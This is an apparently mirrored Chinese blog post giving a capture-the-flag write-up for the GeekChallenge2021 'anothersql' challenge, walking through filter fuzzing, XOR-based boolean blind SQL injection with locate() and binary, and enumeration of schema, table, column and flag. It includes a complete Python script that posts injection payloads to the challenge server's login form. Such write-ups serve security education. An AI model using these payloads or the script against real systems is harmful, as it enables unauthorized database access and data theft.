zoukankan      html  css  js  c++  java
  • GeekChallenge2021 anothersql WP

    登录界面注入uname和pwd。
    随便输入 wrong username or password
    输入admin 回显your uname:admin adn your pwd:123456
    即使照此输入也是这个回显。

    猜测布尔盲注。

    首先进行一波fuzz测试:
    /PIC/s19.png
    这些都是被过滤了的,发现^未被过滤,尝试构造'admin'^xxx^'1'='1'的形式。

    利用'admin'^0^'1'='1''admin'^1^'1'='1'验证,的确存在此类型盲注。

    发现之前写的二分盲注脚本使用的>substr均被过滤,只有改成了不用二分的普通盲注,substr换成了locate函数。
    LOCATE(substr,str,pos),从str的位置pos开始,匹配substr,若匹配成功就返回该子串所在原串的位置(从1开始)。比如爆破数据库的第一个字符,就可以写成:locate('t',(select database()),1)=1
    爆数据库:
    /PIC/s20.png

    爆完数据库后发现死活爆不出来表,网上收集了一会儿信息才知道原来MySQL对字段名这些的大小写不感冒,对于's'='S'它也会认为是对的,所以考虑用binary修饰表示二进制来进行判断,这样就可以发现之前的爆出的数据库名应该都是小写。。。

    然后接着爆表名、字段名,结果返回Subquery returns more than 1 row,表示返回的结果不止一个,因此可以对结果加上limit修饰,limit a,b,表示返回结果组中从a开始的b个。(a从0开始)最终得到如下结果:
    /PIC/s21.png

    所以直接爆破select flag from true____flag.syclover,得到:
    /PIC/s22.png

    脚本:

    import requests
    
    Fs = "wrong"
    Ts = "uname:admin"
    url = "http://47.100.242.70:4003/check.php"
    
    
    def SQL_injection(url) :
    	res = ""
    	char_all = '!@$%^&*()_+=-|}{POIU YTREWQASDFGHJKL:?><MNBVCXZqwertyuiop[];lkjhgfdsazxcvbnm,./1234567890`~'
    	for i in range(1,2000) :
    		istr = 0 
    		for x in char_all :	 
    			payload_database = "admin'^(locate(binary'%c',(select database()),%d)=%d)^'1'='1" % (x, i, i)		
    			payload_all_database = "admin'^(locate(binary'%c',(select schema_name from information_schema.schemata),%d)=%d)^'1'='1" % (x, i, i)
    			payload_table = "admin'^(locate(binary'%c',(select table_name from information_schema.tables where table_schema = 'true____flag'),%d)=%d)^'1'='1" % (x, i, i)
    			payload_cloumn = "admin'^(locate(binary'%c',(select column_name from information_schema.columns where table_name = 'syclover' limit 3,1),%d)=%d)^'1'='1" % (x, i, i)
    			payload_info = "admin'^(locate(binary'%c',(select flag from true____flag.syclover limit 0,1),%d)=%d)^'1'='1" % (x, i, i)
    			payload = payload_info
    			data = {"uname" : payload, "pwd" : "12345678", "wp-submit" : "%E7%99%BB%E5%BD%95"}
    			#urls = url + payload
    			resp = requests.post(url = url, data = data)
    			if Ts in resp.text :
    				istr = 1
    				res += x
    				print(res)
    				break
    		if (istr == 0) :
    			break
    	print(res)
    
    if __name__ == "__main__" :
       # data = {"uname" : "admin'^(locate(binary'1',(select column_name from information_schema.columns where table_name = 'syclover' limit 0,1),1)=1)^'1'='1", "pwd" : "12345678", "wp-submit" : "%E7%99%BB%E5%BD%95"}
       # resp = requests.post(url = url, data = data)
    	#print(resp.text)
    	SQL_injection(url)
    
  • 相关阅读:
    “阿基里斯与乌龟”的终结性思考
    这个世界本来的样子
    Seven times have I despised my soul 《我曾七次鄙视自己的灵魂》
    Youth is not a time of life, it is a state of mind.
    对于过去所犯的错误,最好的道歉是在将来做正确的事
    使用UltraISO刻录自己的音乐CD步骤
    为什么一个目录里放超过十个Mp4文件会导致资源管理器和播放程序变卡变慢?
    用Perl发送邮件小例子
    用df命令显示磁盘使用量和占用率。
    三个JS函数闭包(closure)例子
  • 原文地址:https://www.cnblogs.com/silentEAG/p/15541723.html
Copyright © 2011-2022 走看看